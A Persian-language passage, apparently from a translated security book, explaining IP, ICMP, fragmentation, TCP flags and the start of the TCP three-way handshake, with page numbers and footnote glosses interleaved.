ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺑﺮﻧﺎﻣﻪ ﻫﺎی ﻣﻮﺟﻮد روی دو ﺷﺒﮑﻪ ﺧﺼﻮﺻﯽ ﻣﺘﻔﺎوت ،از ﻃﺮﯾﻖ اﯾﻨﺘﺮﻧﺖ ﺑﺎ ﯾﮑﺪﯾﮕﺮ ﻣﺮاوده ﻣـﯽ ﮐﻨﻨـﺪ ،ﺑـﺴﺘﻪ
ﻫﺎی اﻃﻼﻋﺎﺗﯽ در ﻻﯾﻪ ) physicalﮐﻪ از آﻧﺠﺎ ﺑﻪ ﯾﮏ ﻣﺴﯿﺮﯾﺎب ﻫﺪاﯾﺖ ﻣﯽ ﺷﻮﻧﺪ( ﮐﭙﺴﻮﻟﻪ ﻣﯽ ﺷﻮﻧﺪ .ﻣﺴﯿﺮﯾﺎب ﺗـﻮﺟﻬﯽ
ﺑﻪ ﭼﯿﺰﻫﺎی ﻣﻮ ﺟﻮد در ﺑﺴﺘﻪ ﻫﺎ ﻧﺪارد و ﻓﻘﻂ ﭘﺮوﺗﮑﻞ ﻫﺎی ﻻﯾﻪ networkرا ﭘﯿﺎده ﺳﺎزی ﻣﯽ ﮐﻨﺪ .ﻣﺴﯿﺮﯾﺎب ﺑﺴﺘﻪ ﻫﺎ را
ﺑﻪ اﯾﻨﺘﺮﻧﺖ ﻣﯽ ﻓﺮﺳﺘﺪ ،ﺳﭙﺲ اﯾﻦ ﺑﺴﺘﻪ ﻫﺎ ﺑﻪ ﯾﮏ ﻣﺴﯿﺮﯾﺎب در ﺷﺒﮑﻪ ﻣﻘﺎﺑﻞ ﻣـﯽ رﺳـﻨﺪ .ﺳـﭙﺲ ﻣـﺴﯿﺮﯾﺎب ﺑـﺴﺘﻪ را ﺑـﺎ
ﻫﺪرﻫﺎی ﭘﺮوﺗﮑﻠﯽ ﻻﯾﻪ-ﭘﺎﺋﯿﻦ ﺗﺮ و ﻣﻠﺰوم ﮐﭙﺴﻮﻟﻪ ﻣﯽ ﮐﻨﺪ ﺗﺎ ﺑﻪ ﻣﻘﺼﺪ ﻧﻬﺎﯾﯽ ﺧﻮد ﺑﺮﺳـﺪ .اﯾـﻦ ﻓﺮآﯾﻨـﺪ در ﺗـﺼﻮﯾﺮ زﯾـﺮ
ﻧﺸﺎن داده ﺷﺪه اﺳﺖ.
47
middle ground
48ﻣﻨﻈﻮر از واژه ﺷﻔﺎف ﯾﺎ transparentاﯾﻦ اﺳﺖ ﮐﻪ اﮔﺮﭼﻪ دﯾﮕﺮ ﻻﯾﻪ ﻫﺎ ﻧﯿﺰ وﻇﯿﻔﻪ اﻧﺘﻘﺎل اﻃﻼﻋﺎت را ﺑﻪ ﻻﯾﻪ ﻫﺎی دﯾﮕﺮ ﺑﺮ ﻋﻬﺪه دارﻧﺪ ،اﻣﺎ
اﻧﺘﻘﺎل اﺻﻠﯽ و ﻣﺤﺴﻮس اﻃﻼﻋﺎت در اﯾﻦ ﻻﯾﻪ رخ ﻣﯽ دﻫﺪ.
49
Header
50
Body
116
اﯾﻦ ﻓﺮآﯾﻨﺪ را ﻣﯽ ﺗﻮان ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺗﺎﺳﯿﺴﺎت ﺑﯿﻦ اداری ﭘﯿﭽﯿﺪه ﻓﺮض ﮐﺮد .در ﻫﺮ ﻻﯾـﻪ ،ﭘﺬﯾﺮﺷـﮕﺮی ﻣـﺎﻫﺮ وﺟـﻮد
دارد ﮐﻪ ﺗﻨﻬﺎ زﺑﺎن و ﭘﺮوﺗﮑﻞِ ﻻﯾﻪ ﺧﻮد را ﻣﯽ ﻓﻬﻤﺪ .ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﺑﺴﺘﻪ ﻫﺎی اﻃﻼﻋـﺎﺗﯽ ﻣﻨﺘﻘـﻞ ﻣـﯽ ﺷـﻮﻧﺪ ،ﻫـﺮ ﭘﺬﯾﺮﺷـﮕﺮ
ﻋﻤﻠﯿﺎت ﻻزم ﺑﺮای ﻻﯾﻪ ﺧﻮد را اﻧﺠﺎم ﻣﯽ دﻫﺪ؛ ﺑﺴﺘﻪ را در ﯾﮏ ﭘﺎﮐﺖ ﺑـﯿﻦ اداری ﻗـﺮار داده ،ﻫـﺪر را در ﺧـﺎرج آن ﻣـﯽ
ﻧﻮﯾﺴﺪ و آﻧﺮا ﺑﻪ ﭘﺬﯾﺮﺷﮕﺮ ﻣﻮﺟﻮد در ﻻﯾﻪ ﺑﻌﺪی اﻧﺘﻘﺎل ﻣﯽ دﻫﺪ و اﯾﻦ روﻧﺪ ﺑﻪ ﻫﻤﯿﻦ ﻣﻨﻮال اداﻣﻪ ﻣﯽ ﯾﺎﺑﺪ.
ﻫﺮ ﭘﺬﯾﺮﺷﮕﺮ ،ﺗﻨﻬﺎ آﮔﺎه ﺑﻪ وﻇﺎﯾﻒ و ﻧﻘﺶ ﻫﺎی ﻻﯾﻪ ﺧﻮدش اﺳﺖ .اﯾﻦ ﻧﻘﺶ ﻫﺎ و ﻣﺴﺌﻮﻟﯿﺖ ﻫﺎ در ﯾﮏ ﭘﺮوﺗﮑﻞ ﺻـﺮﯾﺢ
) (strictﺗﻌﺮﯾﻒ ﺷﺪه اﻧﺪ و ﺑﻪ ﻣﺤﺾ ﯾﺎدﮔﯿﺮی ﭘﺮوﺗﮑﻞ ،ﻧﯿﺎز ﺑﻪ ﻫﻮش واﻗﻌﯽ )ﺟﻬﺖ ﻓﻬﻢ و اﺟﺮای ﻣﻄﻠﻮب وﻇﯿﻔﻪ ﺧـﻮد(
را ﺣﺬف ﻣﯽ ﺷﻮد .ﻣﻤﮑﻦ اﺳﺖ اﯾﻦ ﻧﻮع ﮐﺎرﻫﺎی ﻧﻔﺲ ﮔﯿﺮ و ﺗﮑﺮاری ﺑﺮای اﻧﺴﺎﻧﻬﺎ ﻣﻄﻠﻮب ﻧﺒﺎﺷﺪ ،اﻣﺎ ﯾﮏ وﻇﯿﻔﻪ اﯾﺪه ال
ﺑﺮای ﮐﺎﻣﭙﯿﻮﺗﺮ ﻣﺤﺴﻮب ﻣﯽ ﺷﻮد .ﺧﻼﻗﯿﺖ و ﻫﻮش ﺑﺸﺮی در ﻃﺮاﺣﯽ ﭘﺮوﺗﮑﻞ ﻫﺎﯾﯽ از اﯾﻦ دﺳﺖ ،ﺗﻮﻟﯿـﺪ ﺑﺮﻧﺎﻣـﻪ ﻫـﺎﯾﯽ
ﺟﻬﺖ ﭘﯿﺎده ﺳﺎزی و اﺟﺮای آﻧﻬﺎ و اﺑﺪاع ﻫﮏ ﻫﺎﯾﯽ ﮐﻪ از آﻧﻬﺎ ﺟﻬﺖ ﻧﯿﻞ ﺑﻪ ﻧﺘﺎﯾﺞ ﺟﺎﻟﺐ و ﻏﯿﺮﻗﺎﺑﻞ ﭘـﯿﺶ ﺑﯿﻨـﯽ اﺳـﺘﻔﺎده
ﻣﯽ ﮐﻨﻨﺪ ،ﻧﻘﺶ ﻧﻘﺶ اﺳﺎﺳﯽ داﺷﺘﻪ و ﺑﯿﺸﺘﺮ ﻧﻤﻮدار ﻣﯽ ﺷﻮد .اﻣﺎ در راﺳﺘﺎی ﻫﺮ ﻋﻤﻠﯿﺎت ﻫﮏ ،ﻗﺒﻞ از ﻗﺮار دادن ﻗـﻮاﻧﯿﻦ
ﺳﯿﺴﺘﻢ در ﮐﻨﺎر ﯾﮑﺪﯾﮕﺮ ﺑﻪ ﺻﻮرت ﻧﻮﯾﻦ ،ﺑﺎﯾﺪ درک ﺻﺤﯿﺤﯽ از آﻧﻬﺎ داﺷﺖ.
ﻻﯾﻪ ﺷﺒﮑﻪ ،ﻻﯾﻪ اﻧﺘﻘﺎل ) (transportدر ﺑـﺎﻻی آن ،و ﻻﯾـﻪ Data-Linkدر زﯾـﺮ آن ،ﻫﻤﮕـﯽ ﺻـﻔﺎت ﻋﺠﯿﺒـﯽ دارﻧـﺪ ﮐـﻪ
ﻗﺎﺑﻠﯿﺖ اﮐﺴﭙﻠﻮﯾﺖ ﺷﺪن را دارﻧﺪ .ﭘﺲ از ﺗﻮﺿﯿﺢ اﯾﻦ ﻻﯾـﻪ ﻫـﺎ ﻣـﯽ ﺗﻮاﻧﯿـﺪ اﻗـﺪام ﺑـﻪ ﺗـﺸﺨﯿﺺ ﻧﺎﺣﯿـﻪ ﻫـﺎﯾﯽ ﮐﻨﯿـﺪ ﮐـﻪ
ﺧﻄﺮﭘﺬﯾﺮی آﻧﻬﺎ در ﺑﺮاﺑﺮ ﺣﻤﻠﻪ زﯾﺎد ﺑﺎﺷﺪ.
ﺑﺎ ﻣﻘﺎﯾﺴﻪ ﭘﺬﯾﺮﺷﮕﺮ و ﺑﻮروﮐﺮاﺳﯽ ﻣﻮﺟﻮد ،ﻻﯾﻪ ﺷﺒﮑﻪ ﺷﺒﯿﻪ ﺑﻪ ﺳﺮوﯾﺲ ﭘﺴﺘﯽ ﺟﻬﺎﻧﯽ اﺳﺖ :ﺟﻬﺖ ﻓﺮﺳﺘﺎدن اﺷﯿﺎ ﺑﻪ ﻫـﺮ
ﻣﮑﺎن ،ﯾﮏ روش ﻧﺸﺎﻧﯽ دﻫﯽ ) (addressingو ﺗﺤﻮﯾـﻞ ) (deliveryﻣـﻮرد اﺳـﺘﻔﺎده ﻗـﺮار ﻣـﯽ ﮔﯿـﺮد .ﭘﺮوﺗﮑـﻞ ﻣـﻮرد
اﺳﺘﻔﺎده روی اﯾﻦ ﻻﯾﻪ ﺟﻬﺖ ﻧﺸﺎﻧﯽ دﻫﯽ و ﺗﺤﻮﯾﻞ اﯾﻨﺘﺮﻧﺘﯽ ،ﭘﺮوﺗﮑﻞ اﯾﻨﺘﺮﻧﺖ ) 51(IPﻧﺎﻣﯿﺪه ﻣﯽ ﺷﻮد .اﮐﺜﺮﯾﺖ اﯾﻨﺘﺮﻧﺖ
از ﻧﺴﺨﻪ ﭼﻬﺎرم IPاﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ ،ﻟﺬا ﻏﯿﺮ از ﻣﻮاردی ﮐﻪ ﻣﺴﺘﻘﯿﻤﺎ ذﮐﺮ ﺷﻮد ،ﻋﺒﺎرت IPدر اﯾﻦ ﮐﺘـﺎب اﺷـﺎره ﺑـﻪ اﯾـﻦ
ﻧﺴﺨﻪ دارد .ﻫﺮ ﺳﯿﺴﺘﻢ در اﯾﻨﺘﺮﻧﺖ )ﯾﺎ ﺑﻬﺘﺮ ﺑﮕﻮﺋﯿﻢ ﯾﮏ ﺷﺒﮑﻪ( ﯾﮏ آدرس IPدارد .اﯾﻦ آدرس ﺷﺎﻣﻞ ﯾﮏ آراﯾﺶ از
51
Internet Protocol
117
ﭼﻬﺎرﺑﺎﯾﺘﯽ ﻫﺎﯾﯽ اﺳﺖ ﮐﻪ ﺑﻪ ﺻﻮرت xx.xx.xx.xxﻫﺴﺘﻨﺪ و ﻣﺴﻠﻤﺎ ﺑﺮای ﺷﻤﺎ آﺷﻨﺎ ﺑﻪ ﻧﻈﺮ ﻣﯽ آﯾﻨﺪ .در اﯾﻦ ﻻﯾﻪ ،ﺑـﺴﺘﻪ
و اﺷـﮑﺎل ﻫﺎی IPو ICMPوﺟﻮد دارﻧﺪ .ﺑﺴﺘﻪ ﻫﺎی IPﺑﺮای ارﺳﺎل اﻃﻼﻋﺎت و ﺑﺴﺘﻪ ﻫﺎی ICMPﺑﺮای ﭘﯿﺎم رﺳﺎﻧﯽ
52
ﯾﺎﺑﯽ 53ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ IP .در ﻣﻘﺎﯾﺴﻪ ﺑﺎ اداره ﭘﺴﺖ ﺗﻤﺜﯿﻠﯽِ ﯾﺎد ﺷﺪه ،ﻗﺎﺑﻠﯿﺖ اﻃﻤﯿﻨﺎن ﮐﻤﺘﺮی دارد ،ﯾﻌﻨـﯽ
ﻫﯿﭻ ﺗﻀﻤﯿﻨﯽ وﺟﻮد ﻧﺪارد ﮐﻪ ﯾﮏ ﺑﺴﺘﻪ IPﺑﻪ ﻣﻘﺼﺪ ﻧﻬﺎﯾﯽ ﺧﻮدش ﺑﺮﺳـﺪ .اﮔـﺮ اﺷـﮑﺎﻟﯽ رخ دﻫـﺪ ،ﯾـﮏ ﺑـﺴﺘﻪ ICMP
ﺑﺮای آﮔﺎه ﮐﺮدن ﻓﺮﺳﺘﻨﺪه ی اﯾﻦ اﺷﮑﺎل ﺑﺮﮔﺮداﻧﺪه ﺧﻮاﻫﺪ ﺷﺪ.
ﻣﻌﻤﻮﻻ ICMPﺑﺮای ﺗﺴــــﺖ ﮐﺮدن اﺗــــــﺼﺎل ﻧــــــــﯿﺰ اﺳــــــــــﺘﻔﺎده ﻣـﯽ ﺷــــﻮد .ﭘـــــﯿـــــــــﺎم ﻫــــــــﺎی
ICMP Echo Requestو ICMP Echo Replyﺗﻮﺳﻂ اﺑﺰاری ﺗﺤﺖ ﻋﻨﻮان pingﻣﻮرد اﺳﺘﻔﺎده ﻗـﺮار ﻣـﯽ ﮔﯿﺮﻧـﺪ.
اﮔﺮ ﯾﮏ ﻣﯿﺰﺑﺎن ﺑﺨﻮاﻫﺪ اﻣﮑﺎن ﻫﺪاﯾﺖ ﯾﺎ اﻧﺘﻘﺎل ﺗﺮاﻓﯿﮏ را ﺑﻪ ﯾﮏ ﻣﯿﺰﺑﺎن دﯾﮕﺮ ﺑﺮرﺳـﯽ ﮐﻨـﺪ ،ﻣﯿﺰﺑـﺎن راه دور 54را ﺑـﺎ
ﯾﮏ ICMP Echo Requestﭘﯿﻨﮓ ﻣﯽ ﮐﻨﺪ .ﺑﻪ ﻣﺤﺾ درﯾﺎﻓﺖ اﯾﻦ درﺧﻮاﺳﺖ ،ﻣﯿﺰﺑـﺎن راه دور ﯾـﮏ ICMP Echo
Replyﺑﺎز ﻣﯽ ﮔﺮداﻧﺪ .اﯾﻦ ﭘﯿﺎم ﻫﺎ ﺑﺮای ﺗﻌﯿﯿﻦ دوره اﺗﺼﺎل )ﯾﺎ ﻋﮑﺲ اﻟﻌﻤﻞ( 55ﺑﯿﻦ دو ﻣﯿﺰﺑﺎن اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد .ﺑﻪ ﻫﺮ
ﺣﺎل ،ﺑﻪ ﺧﺎﻃﺮ داﺷﺘﻪ ﺑﺎﺷﯿﺪ ﮐﻪ ICMPو IPﻫﺮ دو ﺑﺪون اﺗﺼﺎل ﻫﺴﺘﻨﺪ و ﺗﻤﺎم ﻫﻢ و ﻏﻢ اﯾﻦ ﻻﯾﻪ رﺳﺎﻧﺪن ﯾﮏ ﺑﺴﺘﻪ ﺑـﻪ
آدرس ﻣﻘﺼﺪ آن ﻣﯽ ﺑﺎﺷﺪ.
ﺑﻌﻀﯽ ﻣﻮاﻗﻊ ﮐﺎﺑﻞ ﯾﺎ اﺗﺼﺎل ﺷﺒﮑﻪ اﻧﺪازه ﺑﺴﺘﻪ را ﻣﺤﺪود ﻣﯽ ﮐﻨﺪ و ﺑﻪ اﯾـﻦ ﺻـﻮرت اﻣﮑـﺎن اﻧﺘﻘـﺎل ﺑـﺴﺘﻪ ﻫـﺎی ﺑﺰرﮔﺘـﺮ
ﻧﺨﻮاﻫﺪ ﺑﻮد IP .ﺑﺎ ﺑﺎ ﻗﻄﻌﻪ ﻗﻄﻌﻪ ﮐﺮدن ﺑﺴﺘﻪ ﻫﺎ اﯾﻦ ﻣﺸﮑﻞ را رﻓﻊ ﻣﯽ ﮐﻨﺪ .ﺑﻪ ﺻﻮرت زﯾﺮ:
ﺑﺴﺘﻪ ﺑﻪ ﻗﻄﻌﺎتِ 56ﺑﺴﺘﻪ ای ﮐﻮﭼﮑﺘﺮی ﺧﺮد ﻣﯽ ﺷﻮد )ﮐﻪ ﺑﻪ ﻫﺮ ﮐﺪام از آﻧﻬﺎ ﯾﮏ Fragmentﻣﯽ ﮔﻮﯾﯿﻢ( ﮐﻪ ﻣﯽ ﺗﻮاﻧﻨﺪ
از ﮐﺎﺑﻞ ﺷﺒﮑﻪ ﻋﺒﻮر ﮐﻨﻨﺪ .ﻫﺪرﻫﺎی IPروی ﻫﺮ ﻗﻄﻌﻪ ﻗﺮار داده ﺷﺪه و ﭘﺲ از آن ارﺳﺎل ﻣـﯽ ﺷـﻮﻧﺪ .ﻫـﺮ ﻗﻄﻌـﻪ دارای
ﻣﻘﺪار ﻣﺘﻔﺎوﺗﯽ ﺑﺮای ﻓﯿﻠﺪِ fragment offsetﻣﻮﺟﻮد در ﻫﺪر اﺳـﺖ .ﻫﻨﮕـﺎم درﯾــــﺎﻓﺖ اﯾـﻦ ﻗﻄﻌـﺎت ﺗﻮﺳـﻂ ﻣﻘـﺼﺪ،
ﻣﻘﺎدﯾﺮ fragment offsetﺟﻬﺖ ﺳﺮﻫﻢ ﺳﺎزی ﻗﻄﻌﻪ ﻫﺎ و ﺗﺒﺪﯾﻞ آﻧﻬﺎ ﺑﻪ ﺑﺴﺘﻪ IPاوﻟﯿﻪ اﺳﺘﻔﺎده ﻣـﯽ ﺷـﻮﻧﺪ )اﯾـﻦ ﻋﻤـﻞ
Reassemblyﻧﺎم دارد( .ﺗﺪارﮐﺎﺗﯽ ﻣﺎﻧﻨﺪ ﻗﻄﻌﻪ ﻗﻄﻌﻪ ﺳﺎزی ﺑﻪ ﺗﺤﻮﯾـﻞ ﺑـﺴﺘﻪ ﻫـﺎی IPﮐﻤـﮏ ﺧﻮاﻫﻨـﺪ ﮐـﺮد .اﻣـﺎ اﯾـﻦ
ﻋﻤﻠﯿﺎت ،ﮐﺎر ﺧﺎﺻﯽ را در راﺳﺘﺎی ﺑﺮﻗﺮاری ارﺗﺒﺎﻃﺎت ﯾﺎ ﺣﺼﻮل اﻃﻤﯿﻨﺎن از ﺗﺤﻮﯾﻞ ﺑﺴﺘﻪ اﻧﺠﺎم ﻧﻤﯽ دﻫﻨﺪ .در اﯾﻨﺠﺎﺳـﺖ
ﮐﻪ ﺑﻪ ﻻﯾﻪ دﯾﮕﺮی از اﯾﻦ رﺷﺘﻪ ﭘﺮوﺗﮑﻞ ،ﯾﻌﻨﯽ ﻻﯾﻪ اﻧﺘﻘﺎل ﻣﯽ رﺳﯿﻢ ﮐﻪ وﻇﯿﻔﻪ دﺳﺖ و ﭘﻨﺠﻪ ﻧﺮم ﮐﺮدن ﺑﺎ اﯾﻦ ﻣـﺸﮑﻼت
را دارد.
52
Messaging
53
Diagnostic
54
Remote
55
Connection Latency
56
Fragment
118
.3,2,2ﻻﯾﻪ اﻧﺘﻘﺎل )(Transport
ﻻﯾﻪ اﻧﺘﻘﺎل ﻣﯽ ﺗﻮاﻧﺪ ﺑﻪ ﻋﻨﻮان ﺧﻂ ﻧﺨﺴﺖ از ﭘﺬﯾﺮﺷﮕﺮﻫﺎ ﻣﺤﺴﻮب ﺷـﻮد ﮐـﻪ ﻧﺎﻣـﻪ را از ﻻﯾـﻪ ﺷـﺒﮑﻪ ﺑـﺮ ﻣـﯽ دارد .اﮔـﺮ
ﻣﺸﺘﺮی ﺑﺨﻮاﻫﺪ ﻗﻄﻌﻪ ای ﻣﻌﯿﻮب از ﮐﺎﻻ را ﺑﺮ ﮔﺸﺖ دﻫﺪ ،ﭘﯿﺎﻣﯽ را ارﺳﺎل ﻣﯽ دارد ﮐﻪ درﺧﻮاﺳﺖ ﯾـﮏ ﺷـﻤﺎره RMA
)اﺟﺎزه ﻧﺎﻣﻪ ﻣﺎده ﺑﺮﮔﺸﺘﯽ( 57را ﻣﯽ ﮐﻨﺪ .آﻧﮕﺎه ﭘﺬﯾﺮﺷﮕﺮ ،ﭘﯿﺮوِ ﭘﺮوﺗﮑﻞِ ﺑﺎزﮔﺸﺘﯽ ،ﺗﻘﺎﺿﺎی ﯾـﮏ رﺳـﯿﺪ ﮐـﺮده و ﻧﻬﺎﯾﺘـﺎ
ﯾﮏ ﺷﻤﺎره RMAرا ﺻﺎدر ﻣﯽ ﮐﻨﺪ .ﺑﻪ اﯾﻦ ﺻﻮرت ﻣﺸﺘﺮی ﻣﺤﺼﻮل را ﺑﺎ آن ﭘﺴﺖ ﻣﯽ ﮐﻨـﺪ .اداره ﭘـﺴﺖ ﺗﻨﻬـﺎ وﻇﯿﻔـﻪ
ﺗﺒﺎدل اﯾﻦ ﭘﯿﺎم ﻫﺎ )و ﺑﺴﺘﻪ ﻫﺎ( را دارد و ﮐﺎری ﺑﻪ ﻣﻔﺎد درون اﯾﻦ ﭘﯿﺎم ﻫﺎ ﻧﺪارد.
دو ﭘﺮوﺗﮑﻞ ﻣﻬﻢ در اﯾﻦ ﻻﯾﻪ TCP ،و UDPﻫﺴﺘﻨﺪ TCP .ﭘﺮ اﺳﺘﻔﺎده ﺗﺮﯾﻦ ﭘﺮوﺗﮑـﻞ ﺑـﺮای ﺳـﺮوﯾﺲ ﻫـﺎی اﯾﻨﺘﺮﻧﺘـﯽ
اﺳــﺖ :ﺗﻠﻨــﺖ ،ﺗﺮاﻓﯿــﮏ وب ) ،(HTTPﺗﺮاﻓﯿــﮏ اﯾﻤﯿــﻞ ) (SMTPو اﻧﺘﻘــﺎﻻت ﻓﺎﯾﻠﻬــﺎ ) (FTPﻫﻤﮕــﯽ از TCPاﺳــﺘﻔﺎده
ﻣﯿﮑﻨﻨﺪ .ﯾﮑﯽ از دﻻﯾﻞ ﻣﺤﺒﻮﺑﯿﺖ ،TCPاراﺋﻪ ﯾﮏ اﺗﺼﺎل ﺷﻔﺎف ،ﻗﺎﺑﻞ اﻃﻤﯿﻨﺎن و دو ﺟﻬﺘﻪ ﺑﯿﻦ دو آدرس IPاﺳـﺖ .ﯾـﮏ
اﺗﺼﺎل دو ﺟﻬﺘﻪ در TCPﺷﺒﯿﻪ ﺑﻪ اﺳﺘﻔﺎده از ﯾﮏ ﺗﻠﻔﻦ اﺳﺖ– ﭘﺲ از ﺷﻤﺎره ﮔﯿﺮی ،اﺗـﺼﺎﻟﯽ ﺑـﯿﻦ دو ﻃـﺮف اﯾﺠـﺎد ﻣـﯽ
ﺷﻮد ﮐﻪ ﺑﺪان وﺳﯿﻠﻪ ﻣﯿﺘﻮاﻧﻨﺪ ﺑﺎ ﯾﮑﺪﯾﮕﺮ ﮔﻔﺖ و ﮔﻮ ﮐﻨﻨﺪ .ﻗﺎﺑﻠﯿﺖ اﻋﺘﻤﺎد ﺑﻪ ﻃﻮر ﺳـﺎده ﯾﻌﻨـﯽ ،ﺣـﺼﻮل اﻃﻤﯿﻨـﺎن ﺗﻮﺳـﻂ
TCPاز رﺳﯿﺪن ﺗﻤﺎم اﻃﻼﻋﺎت ﺑﻪ ﺗﺮﺗﯿﺐ و وﺿﻌﯿﺖ ﻣﻨﺎﺳﺐ ﺧﻮد .اﮔﺮ ﺑﺴﺘﻪ ﻫﺎی ﯾﮏ اﺗﺼﺎل ﻧﺎ ﻣﺮﺗﺐ )در ﻫﻢ رﯾﺨﺘـﻪ( و
ﺧﺎرج از ﻧﻈﻢ درﯾﺎﻓﺖ ﺷﻮﻧﺪ TCP ،ﻗﺒﻞ از ﺗﺤﻮﯾﻞ اﻃﻼﻋﺎت ﺑﻪ ﻻﯾﻪ ﺑﻌﺪی از ﻗﺮار ﮔﯿﺮی آﻧﻬﺎ در ﻧﻈـﻢ و ﺗﺮﺗﯿـﺐ ﻣﻨﺎﺳـﺐ
ﺧﻮد اﻃﻤﯿﻨﺎن ﺣﺎﺻﻞ ﻣﯿﮑﻨﺪ .در ﺻﻮرت از ﺑﯿﻦ رﻓﺘﻦ ﺑﺮﺧﯽ از ﺑﺴﺘﻪ ﻫﺎ در ﯾﮏ اﺗﺼﺎل ،ﻣﻘﺼﺪ ،ﺑﺴﺘﻪ ﻫﺎی درﯾﺎﻓﺘﯽ را ﻧﮕﺎه
داﺷﺘﻪ و در ﻗﺪم ﺑﻌﺪی ،ﻣﺒﺪا ﺑﺴﺘﻪ ﻫﺎی از دﺳﺖ رﻓﺘﻪ را ﻣﺠﺪدا ارﺳﺎل ﻣﯽ ﮐﻨﺪ.
58
ﺗﻤﺎﻣﯽ اﯾﻦ ﻋﺎﻣﻠﯿﺖ ﻫﺎ ﺑﻮاﺳﻄﻪ ﻣﺠﻤﻮﻋﻪ ای از ﻓﻠﮓ ﻫﺎ ﺗﺤﺖ ﻋﻨﻮان ﭘﺮﭼﻢ ﻫﺎی (TCP Flag) TCPو ﻣﻘﺎدﯾﺮ ﭘﯿﮕﺮدی
ﺗﺤﺖ ﻋﻨﻮان "ﺷﻤﺎره ﻫﺎی ﺗﻮاﻟﯽ" 59ﻣﻤﮑﻦ ﺷﺪه اﻧﺪ .ﻓﻠﮓ ﻫﺎ ﺑﻪ ﺷﺮح زﯾﺮ ﻣﯽ ﺑﺎﺷﻨﺪ:
ﻣﻘﺼﻮد ﻣﻌﻨﺎی ﻓﻠﮓ ﻓﻠﮓ
داده ﻫﺎی ﻣﻬﻢ را ﺗﻌﯿﯿﻦ ﻣﯽ ﻧﻤﺎﯾﺪ Urgent URG
ﯾﮏ ارﺗﺒﺎط را ﺗﺼﺪﯾﻖ ﻣﯽ ﮐﻨﺪ Acknowledgement ACK
ﺑﻪ ﮔﯿﺮﻧﺪه اﻋﻼم ﻣﯽ دارد ﮐﻪ ﺑﻪ ﺟﺎی ﺑﺎﻓﺮ ﮐﺮدن داده ﻫﺎ ،آﻧﺮا pushﻧﻤﺎﯾﺪ Push PSH
ارﺗﺒﺎط را resetﻣﯽ ﮐﻨﺪ Reset RST
در ﺧﻼل ﺷﺮوع ارﺗﺒﺎط ،ﺷﻤﺎره ﻫﺎی ﺗﺼﺪﯾﻖ را ﻫﻤﮕﺎم ﺳﺎزی ﻣﯽ ﮐﻨﺪ Synchronize SYN
ارﺗﺒﺎط را ﺧﺎﺗﻤﻪ ﻣﯽ دﻫﺪ Finish FIN
ﻓﻠﮓ ﻫﺎی SYNو ACKﺑﺎ ﻫﻢ ﺟﻬﺖ اﯾﺠﺎد ارﺗﺒﺎﻃﺎت در ﯾﮏ ﻓﺮاﯾﻨﺪ دﺳﺖ ﺗﮑﺎﻧﯽ ﺳﻪ ﻣﺮﺣﻠـﻪ ای اﺳـﺘﻔﺎده ﻣـﯽ ﺷـﻮﻧﺪ.
ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﯾﮏ ﮐﻼﯾﻨﺖ ﻗﺼﺪ ﺑﺮﻗﺮاری ارﺗﺒﺎط ﺑﺎ ﯾﮏ ﺳﺮور داﺷﺘﻪ ﺑﺎﺷﺪ ،ﯾـﮏ ﺑـﺴﺘﻪ ﺑـﺎ ﻓﻠـﮓ SYNروﺷـﻦ 60و ﻓﻠـﮓ
ACKﺧﺎﻣﻮش 61را ﺑﻪ ﺳﺮور ﻣﯽ ﻓﺮﺳﺘﺪ .ﺳﭙﺲ ﺳﺮور ﺑﺎ ﯾﮏ ﺑﺴﺘﻪ ﮐﻪ ﻫﺮ دو ﻓﻠﮓ SYNو ACKآن روﺷـﻦ ﻫـﺴﺘﻨﺪ
ﭘﺎﺳﺦ ﻣﯽ دﻫﺪ .ﺟﻬﺖ ﺗﮑﻤﯿﻞ ارﺗﺒﺎط ،ﮐﻼﯾﻨﺖ ﯾﮏ ﺑﺴﺘﻪ را ﺑﺎ ﻓﻠﮓ SYNﺧﺎﻣﻮش و ﻓﻠﮓ ACKروﺷﻦ ارﺳﺎل ﻣﯽ ﮐﻨـﺪ.
ﭘﺲ از آن ،ﺗﻤﺎم ﺑﺴﺘﻪ ﻫﺎ در اﯾﻦ ارﺗﺒﺎط ﺑﺎ ﻓﻠﮓ ACKروﺷﻦ و ﻓﻠﮓ SYNﺧﺎﻣﻮش ﻣﺒﺎدﻟﻪ ﻣـﯽ ﺷـﻮﻧﺪ .ﺗﻨﻬـﺎ دو ﺑـﺴﺘﻪ
57
Return Material Authorization
58
Tracking Values
59
Sequence Number
60ﻣﻨﻈﻮر از واژه "روﺷﻦ" اﯾﻦ اﺳﺖ ﮐﻪ ﻣﻘﺪار اﯾﻦ ﻓﻠﮓ در ﺑﺴﺘﻪ )ﮐﻪ ﯾﮏ ﻣﻘﺪار ﺑﯿﺘﯽ اﺳﺖ( ﺑﺮاﺑﺮ ﺑﺎ "ﯾﮏ" ﺑﺎﺷﺪ ﮐﻪ اﺻﻄﻼﺣﺎ ﻣـﯽ ﮔـﻮﯾﯿﻢ :اﯾـﻦ
ﻓﻠﮓ ﺗﻨﻈﯿﻢ ﺷﺪه اﺳﺖ ﯾﺎ روﺷﻦ اﺳﺖ
61ﻣﻨﻈﻮر از واژه "ﺧﺎﻣﻮش" اﯾﻦ اﺳﺖ ﮐﻪ ﻣﻘﺪار اﯾﻦ ﻓﻠﮓ در ﺑﺴﺘﻪ )ﮐﻪ ﯾﮏ ﻣﻘﺪار ﺑﯿﺘﯽ اﺳﺖ( ﺑﺮاﺑﺮ ﺑﺎ "ﺻﻔﺮ" ﺑﺎﺷﺪ ﮐـﻪ اﺻـﻄﻼﺣﺎ ﻣـﯽ ﮔـﻮﯾﯿﻢ:
اﯾﻦ ﻓﻠﮓ ﺗﻨﻈﯿﻢ ﻧﺸﺪه اﺳﺖ ﯾﺎ ﺧﺎﻣﻮش اﺳﺖ.
119
ﻧﺨﺴﺘﯿﻦ ارﺗﺒﺎط )ﮐﻪ دو ﻣﺮﺣﻠﻪ از ﺳﻪ ﻣﺮﺣﻠﻪ دﺳﺖ ﺗﮑﺎﻧﯽ ﺳﻪ ﻣﺮﺣﻠﻪ ای را ﺷﺎﻣﻞ ﻣﯽ ﺷﻮﻧﺪ( ﻓﻠﮓ SYNروﺷـﻦ دارﻧـﺪ.
62
